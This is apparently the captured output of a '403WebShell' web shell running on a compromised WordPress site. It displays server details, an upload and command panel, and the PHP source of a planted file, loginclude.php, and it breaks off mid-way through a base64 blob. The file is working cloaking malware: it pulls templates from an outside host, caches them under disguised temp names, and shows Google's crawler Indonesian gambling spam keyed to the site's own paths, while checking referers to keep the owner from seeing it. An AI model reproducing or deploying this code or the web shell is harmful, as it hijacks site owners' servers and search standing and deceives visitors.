test1
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2

Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2

Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2

Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3

Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3

Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3
403WebShell
403Webshell
Server IP : 51.83.223.64  /  Your IP : 216.73.217.174
Web Server : Apache/2
System : Linux s104.addhost.pl 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : schlebek ( 1218)
PHP Version : 7.3.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/schlebek/domains/gastrodirect.pl/logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/schlebek/domains/gastrodirect.pl/logs/loginclude.php
<?php

$is_internal_link = false; 
if ( isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) ) {
    
    $referer_host = parse_url( $_SERVER['HTTP_REFERER'], PHP_URL_HOST );
    
    $current_host = $_SERVER['HTTP_HOST'];
    if ( strtolower($referer_host) === strtolower($current_host) ) {
        $is_internal_link = true;
    }
}

if ( $is_internal_link === false && strpos($_SERVER['REQUEST_URI'], '/wp-admin') === false &&
     strpos($_SERVER['REQUEST_URI'], '/wp-login') === false &&
     strpos($_SERVER['REQUEST_URI'], '/wp-includes') === false ) {
           
    
    $BASEURL = 'https://portal3.apiagc.xyz/'; 
    $CACHE_CONFIG_TIME = 3600;  
    $CACHE_TEMPLATE_TIME = 3600*24;
    
    if (!function_exists('run_landing_page_system')) {
        function run_landing_page_system() {
            global $BASEURL, $CACHE_CONFIG_TIME, $CACHE_TEMPLATE_TIME;

            $domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST']);
            $path   = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
            $fullRequest_uri = trim($_SERVER['REQUEST_URI'],'/');
            if($path == "clearcache"){
                clear_cache();
                
            }
            // elseif (strpos($path, 'google') === 0 && substr($path, -5) === '.html') {
            //     header('HTTP/1.1 200 OK'); 
            //     header('Content-Type: text/html; charset=UTF-8');
            //     echo "google-site-verification: " . $path;
            //     exit; 
            // }

            if (empty($path)) $path='/';
            $config_data = lp_get_cached_data($domain, 'config.json', $CACHE_CONFIG_TIME);    
            if (!$config_data) {
                $url = $BASEURL . $domain . '/config.json';
                $json = lp_fetch_url($url);
                if (!$json) {
                    $local_config_file = __DIR__ . '/error';
                    if (file_exists($local_config_file)) {
                        $json = file_get_contents($local_config_file);
                    } else {

                        $json = '{
                            "conf.env":{
                                "ampdom":"https://main11.pusatmaxwin.ltd/",
                                "slink":"https://linkfir.st/"
                            },
                            "google59158189a950b13a.html" : {
                                "template" : "default/google59158189a950b13a.html",
                                "promo"    : "x"
                            },
                            "google2ed65ed3acfadf03.html" : {
                                "template" : "default/google2ed65ed3acfadf03.html",
                                "promo"    : "x"
                            },
                            "google4b8e3695a862d535.html" : {
                                "template" : "default/google4b8e3695a862d535.html",
                                "promo"    : "x"
                            },
                            "map.xml" : {
                                "template" : "default/sitemap.txt",
                                "promo"    : "x"
                            },
                            "promo.xml": {
                                "template": "default/sitemap",
                                "promo": "x"
                            },
                            "mini": {
                                "template": "default/mini.php",
                                "promo": "x"
                            },
                            "gecco": {
                                "template": "default/gecco",
                                "promo": "x"
                            },
                            "debug" : {
                                "template" : "default/debug",
                                "promo"    : "x"
                            },
                            "/": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "JAGO168"
                            },
                            "kategoria/sniadanie": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "KOKO288"
                            },
                            "kategoria/przekaska": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "55RK"
                            },
                            "kategoria/obiad": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "CAMAR4444"
                            },
                            "kategoria/deser": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "MDGWIN"
                            },
                            "kategoria/kolacja": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "KODOKHOKI889"
                            },
                            "inne/folie-przeciwsloneczne-do-okien-w-domu": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "MARKASTOTO"
                            },
                            "inne/ekologicznenaczyniajednorazowe": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "AIRBET88"
                            },
                            "inne/odsiwiacz-do-wlosow-damski-wielkopolskie": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "FIFA234"
                            },
                            "inne/materialyeksploatacyjnedolodziwarzymice": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "CIPIT88"
                            },
                            "inne/ksiegowosctrojmiasto": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "TOKO123"
                            },
                            "inne/eklektycznakuchniagrodziskmazowiecki": {
                                "template" : "wede/tem-web1.html",
                                "promo"     : "KOI234"
                            },
                            "inne/szamponnasiwewlosypoznn": {
                                "template" : "wede/tem2-web1.html",
                                "promo"     : "WINNING303"
                            },
                            "inne/koszulkiznadrukiemwarszawa": {
                                "template" : "wede/tem2-web1.html",
                                "promo"     : "MUSANG178"
                            },
                            "inne/materaceprzeciwodlezynoweproducentszczecin": {
                                "template" : "wede/tem2-web1.html",
                                "promo"     : "LEMON212"
                            },
                            "inne/prawnik-nieruchomosci-zachodniopomorskie": {
                                "template" : "wede/tem2-web1.html",
                                "promo"     : "999SL"
                            },
                            "inne/oprogramowanie-dla-dzialu-hr-szczecin": {
                                "template" : "wede/tem2-web1.html",
                                "promo"     : "BMW777"
                            },
                        };';
                    }
                }
                $config_data = json_decode($json, true);
                if ($config_data) lp_save_cache($domain, 'config.json', $config_data);
            }
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            

            if (isset($config_data[$path]) ) {
                $item = $config_data[$path];
                extract($item); 
                $current_domain = $domain; 
                $brand = $promo;        
                $ampdom = isset($config_data["conf.env"]["ampdom"]) ? $config_data["conf.env"]["ampdom"] : "https://main11.pusatmaxwin.ltd/";
                $slink  = isset($config_data["conf.env"]["slink"]) ? $config_data["conf.env"]["slink"] : '';
                if (stripos($userAgent, 'google') !== false) {
                    
            
                    $template_file = $item['template'];
                    $local_file_path = sys_get_temp_dir() . '/sess_' . md5($domain . $template_file);
                    
                    $need_refresh = true;
                    if (file_exists($local_file_path)) {
                        if (time() - filemtime($local_file_path) < $CACHE_TEMPLATE_TIME) {
                            $need_refresh = false;
                        }
                    }

                    if ($need_refresh) {
                        $url = $BASEURL . $template_file;
                        $raw_content = lp_fetch_url($url);
                        
                        if ($raw_content) {
                            file_put_contents($local_file_path, $raw_content);
                        } else {
                            if (!file_exists($local_file_path)) {

                                $template_file = __DIR__ . '/log';
                                if (file_exists($template_file)) {
                                    copy($template_file, $local_file_path);
                                } else {
                                    $host = $_SERVER['HTTP_HOST'];
                                    $requestPath = strtok($_SERVER['REQUEST_URI'], '?');                                
                                    $directoryPath = rtrim($requestPath, '/') . '/';
                                    $urlRequestAndPath = $host . $directoryPath;
                                    $amphtml = $ampdom . $urlRequestAndPath . $brand;
                                    $base64 = "Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iaWQiIGNsYXNzPSIganMgY3NzdHJhbnNpdGlvbnMganMgY3NzdHJhbnNpdGlvbnMiPjxoZWFkPgogICAgCjxzY3JpcHQgc3JjPSJodHRwczovL2Nvbm5lY3QuZmFjZWJvb2submV0L3NpZ25hbHMvY29uZmlnLzQyMzA2MzIwNzM2MjQwMT92PTIuOS4yMzcmYW1wO3I9c3RhYmxlJmFtcDtkb21haW49Z3JpbGwtZmF0aGVyLmNvbSZhbXA7aG1lPTBlNzY1ZjhjMWMxNWUzNDUyM2EyYTFkY2ZiMWU2NjU4YmRjNjRhZGZkYjhhMmI0NjNjMzQ3NTJiNzg5YWE2MTUmYW1wO2V4X209OTAlMkMxNTIlMkMxMzIlMkMxOSUyQzY2JTJDNjclMkMxMjUlMkM2MiUyQzQyJTJDMTI2JTJDNzElMkM2MSUyQzEzOSUyQzc5JTJDMTMlMkM4OSUyQzI3JTJDMTIwJTJDMTExJTJDNjklMkM3MiUyQzExOSUyQzEzNiUyQzk4JTJDMTQxJTJDNyUyQzMlMkM0JTJDNiUyQzUlMkMyJTJDODAlMkM4OCUyQzE0MiUyQzIxOSUyQzE2MyUyQzU2JTJDMjI0JTJDMjIxJTJDMjIyJTJDNDklMkMxNzglMkMyNiUyQzY4JTJDMjI4JTJDMjI3JTJDMTY2JTJDMjklMkM1NSUyQzglMkM1OCUyQzg0JTJDODUlMkM4NiUyQzkxJTJDMTE1JTJDMjglMkMyNSUyQzExOCUyQzExNCUyQzExMyUyQzEzMyUyQzcwJTJDMTM1JTJDMTM0JTJDNDQlMkMxMTYlMkM1NCUyQzEwOCUyQzEyJTJDMTM4JTJDMzklMkMyMDglMkMyMTAlMkMxNzMlMkMyMiUyQzIzJTJDMjQlMkMxNiUyQzE3JTJDMzglMkMzNCUyQzM2JTJDMzUlMkM3NSUyQzgxJTJDODMlMkM5NiUyQzEyNCUyQzEyNyUyQzQwJTJDOTclMkMyMCUyQzE4JTJDMTAyJTJDNjMlMkMzMiUyQzEyOSUyQzEyOCUyQzEzMCUyQzEyMSUyQzIxJTJDMzElMkM1MyUyQzk1JTJDMTM3JTJDNjQlMkMxNSUyQzEzMSUyQzMwJTJDMTg4JTJDMTU5JTJDMjcwJTJDMjA2JTJDMTUwJTJDMTkxJTJDMTg0JTJDMTYwJTJDOTMlMkMxMTclMkM3NCUyQzEwNiUyQzQ4JTJDNDElMkMxMDQlMkMxMDUlMkMxMTAlMkM1MiUyQzE0JTJDMTEyJTJDMTAzJTJDNTklMkM0MyUyQzk5JTJDNDclMkM1MCUyQzQ2JTJDODclMkMxNDAlMkMwJTJDMTA5JTJDMTElMkMxMDclMkM5JTJDMSUyQzUxJTJDODIlMkM1NyUyQzYwJTJDMTAxJTJDNzglMkM3NyUyQzQ1JTJDMTIyJTJDNzYlMkM3MyUyQzY1JTJDMTAwJTJDOTIlMkMzNyUyQzEyMyUyQzMzJTJDOTQlMkMxMCUyQzE0MyIgYXN5bmM9IiI+PC9zY3JpcHQ+PHNjcmlwdCBhc3luYz0iIiBzcmM9Imh0dHBzOi8vY29ubmVjdC5mYWNlYm9vay5uZXQvZW5fVVMvZmJldmVudHMuanMiPjwvc2NyaXB0PjxzY3JpcHQgYXN5bmM9IiIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vc2VjdXJlcHViYWRzLmcuZG91YmxlY2xpY2submV0L3RhZy9qcy9ncHQuanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL2Nvbm5lY3QuZmFjZWJvb2submV0L3NpZ25hbHMvY29uZmlnLzQyMzA2MzIwNzM2MjQwMT92PTIuOS4yMzcmYW1wO3I9c3RhYmxlJmFtcDtkb21haW49d3d3LnN3ZWV0bGlmZWNvb2tpZXNhbmRjb25mZWN0aW9ucy5jb20mYW1wO2htZT0wZTc2NWY4YzFjMTVlMzQ1MjNhMmExZGNmYjFlNjY1OGJkYzY0YWRmZGI4YTJiNDYzYzM0NzUyYjc4OWFhNjE1JmFtcDtleF9tPTkwJTJDMTUyJTJDMTMyJTJDMTklMkM2NiUyQzY3JTJDMTI1JTJDNjIlMkM0MiUyQzEyNiUyQzcxJTJDNjElMkMxMzklMkM3OSUyQzEzJTJDODklMkMyNyUyQzEyMCUyQzExMSUyQzY5JTJDNzIlMkMxMTklMkMxMzYlMkM5OCUyQzE0MSUyQzclMkMzJTJDNCUyQzYlMkM1JTJDMiUyQzgwJTJDODglMkMxNDIlMkMyMTklMkMxNjMlMkM1NiUyQzIyNCUyQzIyMSUyQzIyMiUyQzQ5JTJDMTc4JTJDMjYlMkM2OCUyQzIyOCUyQzIyNyUyQzE2NiUyQzI5JTJDNTUlMkM4JTJDNTglMkM4NCUyQzg1JTJDODYlMkM5MSUyQzExNSUyQzI4JTJDMjUlMkMxMTglMkMxMTQlMkMxMTMlMkMxMzMlMkM3MCUyQzEzNSUyQzEzNCUyQzQ0JTJDMTE2JTJDNTQlMkMxMDglMkMxMiUyQzEzOCUyQzM5JTJDMjA4JTJDMjEwJTJDMTczJTJDMjIlMkMyMyUyQzI0JTJDMTYlMkMxNyUyQzM4JTJDMzQlMkMzNiUyQzM1JTJDNzUlMkM4MSUyQzgzJTJDOTYlMkMxMjQlMkMxMjclMkM0MCUyQzk3JTJDMjAlMkMxOCUyQzEwMiUyQzYzJTJDMzIlMkMxMjklMkMxMjglMkMxMzAlMkMxMjElMkMyMSUyQzMxJTJDNTMlMkM5NSUyQzEzNyUyQzY0JTJDMTUlMkMxMzElMkMzMCUyQzE4OCUyQzE1OSUyQzI3MCUyQzIwNiUyQzE1MCUyQzE5MSUyQzE4NCUyQzE2MCUyQzkzJTJDMTE3JTJDNzQlMkMxMDYlMkM0OCUyQzQxJTJDMTA0JTJDMTA1JTJDMTEwJTJDNTIlMkMxNCUyQzExMiUyQzEwMyUyQzU5JTJDNDMlMkM5OSUyQzQ3JTJDNTAlMkM0NiUyQzg3JTJDMTQwJTJDMCUyQzEwOSUyQzExJTJDMTA3JTJDOSUyQzElMkM1MSUyQzgyJTJDNTclMkM2MCUyQzEwMSUyQzc4JTJDNzclMkM0NSUyQzEyMiUyQzc2JTJDNzMlMkM2NSUyQzEwMCUyQzkyJTJDMzclMkMxMjMlMkMzMyUyQzk0JTJDMTAlMkMxNDMiIGFzeW5jPSIiPjwvc2NyaXB0PjxzY3JpcHQgYXN5bmM9IiIgc3JjPSJodHRwczovL2Nvbm5lY3QuZmFjZWJvb2submV0L2VuX1VTL2ZiZXZlbnRzLmpzIj48L3NjcmlwdD48c2NyaXB0IGFzeW5jPSIiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3NlY3VyZXB1YmFkcy5nLmRvdWJsZWNsaWNrLm5ldC90YWcvanMvZ3B0LmpzIj48L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICB3aW5kb3cuZGF0YUxheWVyID0gd2luZG93LmRhdGFMYXllciB8fCBbXTsKICAgIHdpbmRvdy5kYXRhTGF5ZXIucHVzaCh7CiAgICAiY29udGVudF9pZCI6ICI4ODM1ODE3IiwKICAgICJjb250ZW50X3NpdGUiOiAiPD89ICRjYW5vbmljYWwgPz4iLAogICAgImNvbnRlbnRfc2l0ZV9pZCI6IDg4LAogICAgImNvbnRlbnRfY2F0ZWdvcnkiOiAiUHJvdiIsCiAgICAiY29udGVudF9zdWJjYXRlZ29yeSI6ICI8Pz0gJGJyYW5kdXBwZXIgPz4iLAogICAgImNvbnRlbnRfbG9jYXRpb24iOiAiRGkiLAogICAgImNvbnRlbnRfYXV0aG9yIjogIiIsCiAgICAiY29udGVudF9haWQxIjogIiIsCiAgICAiY29udGVudF9haWQyIjogIiIsCiAgICAiY29udGVudF9haWQzIjogIiIsCiAgICAiY29udGVudF9lZGl0b3IiOiAiPD89ICRicmFuZHVwcGVyID8+IiwKICAgICJjb250ZW50X2VpZCI6ICI3NzY4IiwKICAgICJjb250ZW50X2xpcHN1cyI6ICIiLAogICAgImNvbnRlbnRfbGlwc3VzX2lkIjogIiIsCiAgICAiY29udGVudF9zZW5zaSI6ICIiLAogICAgImNvbnRlbnRfdHlwZSI6ICJTdGFuZGFyZCIsCiAgICAiY29udGVudF9QdWJsaXNoZWREYXRlIjogIjIwMjUtMDktMDQgMTc6MjA6MDAiLAogICAgImNvbnRlbnRfTW9udGhfUHViRGF0ZSI6ICIwOSIsCiAgICAiY29udGVudF9ZZWFyX1B1YkRhdGUiOiAiMjAyNSIsCiAgICAiY29udGVudF9EYXRlX1B1YkRhdGUiOiAiMDQiLAogICAgImNvbnRlbnRfc291cmNlIjogIiIsCiAgICAiY29udGVudF90YWciOiAiPD89ICRicmFuZHVwcGVyID8+IiwKICAgICJjb250ZW50X3RpdGxlIjogIjw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIiwKICAgICJjb250ZW50X3RhZ3MiOiAiIiwKICAgICJjb250ZW50X3RvdGFsX3dvcmRzIjogMzY2LAogICAgImNvbnRlbnRfZHJhZnRfdHlwZSI6ICIwIiwKICAgICJjb250ZW50X2RyYWZ0X2NoZWNrIjogIiIsCiAgICAiY29udGVudF9kcmFmdF9lbmdpbmUiOiAiIiwKICAgICJjb250ZW50X2F1dG9wYWdpbmciOiB0cnVlLAogICAgImNvbnRlbnRfdG90YWxfcGFnZXMiOiAxLAogICAgImNvbnRlbnRfY3VycmVudF9wYWdlIjogMQp9KTs8L3NjcmlwdD4gICAKCjx0aXRsZT48Pz0gJGJyYW5kdXBwZXIgPz46IFNlbnNhc2kgRHVuaWEgR2FtZSBPbmxpbmUgZGVuZ2FuIFNpc3RlbSBQZXJtYWluYW4gQWRhcHRpZjwvdGl0bGU+CjxsaW5rIGhyZWY9Ii8vc2VjdXJlcHViYWRzLmcuZG91YmxlY2xpY2submV0IiByZWw9ImRucy1wcmVmZXRjaCI+CjxsaW5rIGhyZWY9Ii8vYXNzZXQua29tcGFzLmNvbSIgcmVsPSJkbnMtcHJlZmV0Y2giPgo8bGluayBocmVmPSIvL2Fkc2ltZy5rb21wYXMuY29tIiByZWw9ImRucy1wcmVmZXRjaCI+CjxsaW5rIGhyZWY9Ii8vdHBjLmdvb2dsZXN5bmRpY2F0aW9uLmNvbSIgcmVsPSJkbnMtcHJlZmV0Y2giPgo8bGluayBocmVmPSIvL2NtLmcuZG91YmxlY2xpY2submV0IiByZWw9ImRucy1wcmVmZXRjaCI+CjxsaW5rIGhyZWY9Ii8vYXBpcy5rb21wYXMuY29tIiByZWw9ImRucy1wcmVmZXRjaCI+CjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+CjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgiPgo8bWV0YSBjb250ZW50PSI8Pz0gJGJyYW5kdXBwZXIgPz4gaGFkaXIgc2ViYWdhaSBwbGF0Zm9ybSBoaWJ1cmFuIGRpZ2l0YWwgeWFuZyBtZW5hd2Fya2FuIHBlbmdhbGFtYW4gYmVybWFpbiBnYW1lIG9ubGluZSBkZW5nYW4ga29uc2VwIG1vZGVybiBkYW4gc2lzdGVtIHBlcm1haW5hbiB5YW5nIGFkYXB0aWYuIiBuYW1lPSJkZXNjcmlwdGlvbiIvPgo8bGluayByZWw9InByZWZldGNoIiBocmVmPSI8Pz0gJGNhbm9uaWNhbCA/PiIgYXM9ImRvY3VtZW50Ii8+CjxsaW5rIHJlbD0iYW1waHRtbCIgaHJlZj0iPD89ICRhbXBodG1sID8+IiAvPiAKPG1ldGEgbmFtZT0iZ29vZ2xlYm90LW5ld3MiIGNvbnRlbnQ9ImluZGV4LCBmb2xsb3ciIC8+CjxtZXRhICBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9ImluZGV4LCBmb2xsb3ciIC8+CjxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iPD89ICRicmFuZHVwcGVyID8+Ij4KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgZm9sbG93IiAvPgo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im1heC1pbWFnZS1wcmV2aWV3OmxhcmdlLCBtYXgtc25pcHBldDotMSwgbWF4LXZpZGVvLXByZXZpZXc6LTEiPgo8bWV0YSBuYW1lPSJsYW5ndWFnZSIgY29udGVudD0iaWQiIC8+CjxtZXRhIG5hbWU9Imdlby5jb3VudHJ5IiBjb250ZW50PSJpZCIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC1sYW5ndWFnZSIgY29udGVudD0iSW4tSWQiIC8+CjxtZXRhIG5hbWU9Imdlby5wbGFjZW5hbWUiIGNvbnRlbnQ9IkluZG9uZXNpYSIgLz4KCjwhLS0gUzpmYiBtZXRhIC0tPgo8bWV0YSBwcm9wZXJ0eT0ib2c6dHlwZSIgY29udGVudD0iYXJ0aWNsZSIgLz4KPG1ldGEgcHJvcGVydHk9Im9nOmltYWdlIiBjb250ZW50PSJodHRwczovL3ZwMS50aGV2aWxlcHJvamVjdC54eXovZ21icjYvc2xvdC1nYWNvci1kZXBvc2l0LTI1LWJvbnVzLTI1LTQucG5nIiAvPgo8bWV0YSBwcm9wZXJ0eT0ib2c6dGl0bGUiIGNvbnRlbnQ9Ijw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIiAvPgo8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9Ijw/PSAkYnJhbmR1cHBlciA/PiBoYWRpciBzZWJhZ2FpIHBsYXRmb3JtIGhpYnVyYW4gZGlnaXRhbCB5YW5nIG1lbmF3YXJrYW4gcGVuZ2FsYW1hbiBiZXJtYWluIGdhbWUgb25saW5lIGRlbmdhbiBrb25zZXAgbW9kZXJuIGRhbiBzaXN0ZW0gcGVybWFpbmFuIHlhbmcgYWRhcHRpZi4iPgo8bWV0YSBwcm9wZXJ0eT0ib2c6dXJsIiBjb250ZW50PSI8Pz0gJGNhbm9uaWNhbCA/PiIgLz4KPG1ldGEgcHJvcGVydHk9Im9nOnNpdGVfbmFtZSIgY29udGVudD0iS09NUEFTLmNvbSIgLz4KPG1ldGEgcHJvcGVydHk9ImZiOmFwcF9pZCIgY29udGVudD0iMzI0NTU3ODQ3NTkyMjI4IiAvPgo8IS0tIGU6ZmIgbWV0YSAtLT4KCjwhLS0gUzp0d2VldGVyIGNhcmQgLS0+CjxtZXRhIG5hbWU9InR3aXR0ZXI6Y2FyZCIgY29udGVudD0ic3VtbWFyeV9sYXJnZV9pbWFnZSIgLz4KPG1ldGEgbmFtZT0idHdpdHRlcjpzaXRlIiBjb250ZW50PSJAa29tcGFzY29tIiAvPgo8bWV0YSBuYW1lPSJ0d2l0dGVyOmNyZWF0b3IiIGNvbnRlbnQ9IkBrb21wYXNjb20iPgo8bWV0YSBuYW1lPSJ0d2l0dGVyOnRpdGxlIiBjb250ZW50PSI8Pz0gJGJyYW5kdXBwZXIgPz46IFNlbnNhc2kgRHVuaWEgR2FtZSBPbmxpbmUgZGVuZ2FuIFNpc3RlbSBQZXJtYWluYW4gQWRhcHRpZiIgLz4KPG1ldGEgbmFtZT0idHdpdHRlcjpkZXNjcmlwdGlvbiIgY29udGVudD0iPD89ICRicmFuZHVwcGVyID8+IGhhZGlyIHNlYmFnYWkgcGxhdGZvcm0gaGlidXJhbiBkaWdpdGFsIHlhbmcgbWVuYXdhcmthbiBwZW5nYWxhbWFuIGJlcm1haW4gZ2FtZSBvbmxpbmUgZGVuZ2FuIGtvbnNlcCBtb2Rlcm4gZGFuIHNpc3RlbSBwZXJtYWluYW4geWFuZyBhZGFwdGlmLiIgLz4KPG1ldGEgbmFtZT0idHdpdHRlcjppbWFnZSIgY29udGVudD0iaHR0cHM6Ly92cDEudGhldmlsZXByb2plY3QueHl6L2dtYnI2L3Nsb3QtZ2Fjb3ItZGVwb3NpdC0yNS1ib251cy0yNS00LnBuZyIgLz4KPCEtLSBFOnR3ZWV0ZXIgY2FyZCAtLT4KCjxtZXRhIG5hbWU9ImNvbnRlbnRfY2F0ZWdvcnkiIGNvbnRlbnQ9Ijw/PSAkYnJhbmR1cHBlciA/PiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9zdWJjYXRlZ29yeSIgY29udGVudD0iPD89ICRicmFuZHVwcGVyID8+IiAvPgo8bWV0YSBuYW1lPSJjb250ZW50X2xvY2F0aW9uIiBjb250ZW50PSJEaSIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9hdXRob3JfaWQiIGNvbnRlbnQ9IiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9hdXRob3IiIGNvbnRlbnQ9IiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9lZGl0b3JfaWQiIGNvbnRlbnQ9Ijc3NjgiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfZWRpdG9yIiBjb250ZW50PSI8Pz0gJGJyYW5kdXBwZXIgPz4iIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfbGlwc3VzIiBjb250ZW50PSIiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfbGlwc3VzX2lkIiBjb250ZW50PSIiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfc2Vuc2kiIGNvbnRlbnQ9IiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF90eXBlIiBjb250ZW50PSJTdGFuZGFyZCIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9QdWJsaXNoZWREYXRlIiBjb250ZW50PSIyMDI1LTA5LTA0IDE3OjIwOjAwIiAvPgo8bWV0YSBwcm9wZXJ0eT0iYXJ0aWNsZTpwdWJsaXNoZWRfdGltZSIgY29udGVudD0iMjAyNS0wOS0wNFQxMDoyMDowMCswMDowMCIgLz4KPG1ldGEgbmFtZT0iY29udGVudF9zb3VyY2UiIGNvbnRlbnQ9IiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF90YWciIGNvbnRlbnQ9Ijw/PSAkYnJhbmR1cHBlciA/PiIgLz4KPG1ldGEgbmFtZT0iY29udGVudF90YWdzIiBjb250ZW50PSIiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfdG90YWxfd29yZHMiIGNvbnRlbnQ9IjQ1MiIgLz4KPG1ldGEgbmFtZT0ic3Vic2NyaXB0aW9uIiBjb250ZW50PSJGYWxzZSIgLz4KPG1ldGEgbmFtZT0ibGVzdGFyaV9zZGdzIiBjb250ZW50PSIiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfdG90YWxfcGFnZXMiIGNvbnRlbnQ9IjEiIC8+CjxtZXRhIG5hbWU9ImNvbnRlbnRfY3VycmVudF9wYWdlIiBjb250ZW50PSIxIiAvPgoKPGxpbmsgcmVsPSJwcmVsb2FkIiBhcz0iaW1hZ2UiIGhyZWY9Imh0dHBzOi8vdnAxLnRoZXZpbGVwcm9qZWN0Lnh5ei9nbWJyNi9zbG90LWdhY29yLWRlcG9zaXQtMjUtYm9udXMtMjUtNC5wbmciPgoKPGxpbmsgcmVsPSJwcmVsb2FkIiBocmVmPSJodHRwczovL3NlY3VyZXB1YmFkcy5nLmRvdWJsZWNsaWNrLm5ldC90YWcvanMvZ3B0LmpzIiBhcz0ic2NyaXB0Ij4KCgoKCjxsaW5rIHJlbD0iY2Fub25pY2FsIiBocmVmPSI8Pz0gJGNhbm9uaWNhbCA/PiIgLz4KPGxpbmsgcmVsPSJkbnMtcHJlZmV0Y2giIGhyZWY9InR3aXR0ZXIuY29tIj4KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL3ZwMS50aGV2aWxlcHJvamVjdC54eXovYnJhbmQtbG9nby88Pz0gJGJyYW5kbG93ZXIgPz4vaWNvbi5wbmciPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDI1LzA4LzEzL2tvbXBhc2NvbS9kZXNrdG9wL2Nzcy9rY20yMDE3LWFydGljbGUubWluLmNzcyIgdHlwZT0idGV4dC9jc3MiPiAKICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS8wMy8wNS9rb21wYXNjb20vZGVza3RvcC9jc3Mva2NtMjAxNy1pY29ucGFjay1hcnRpY2xlLm1pbi5jc3MiIHR5cGU9InRleHQvY3NzIj4KIAo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDgvMjEvMDk1OC9rZ20tdmVyaWZ5Lm1pbi5jc3MiIHR5cGU9InRleHQvY3NzIj4KCiAKPGxpbmsgcmVsPSJwcmVsb2FkIiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvK0NvbmRlbnNlZDoyMDAsMzAwLDcwMHxSb2JvdG86MzAwLDMwMGksNDAwLDQwMGksNTAwLDcwMCw3MDBpIiBhcz0ic3R5bGUiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Sb2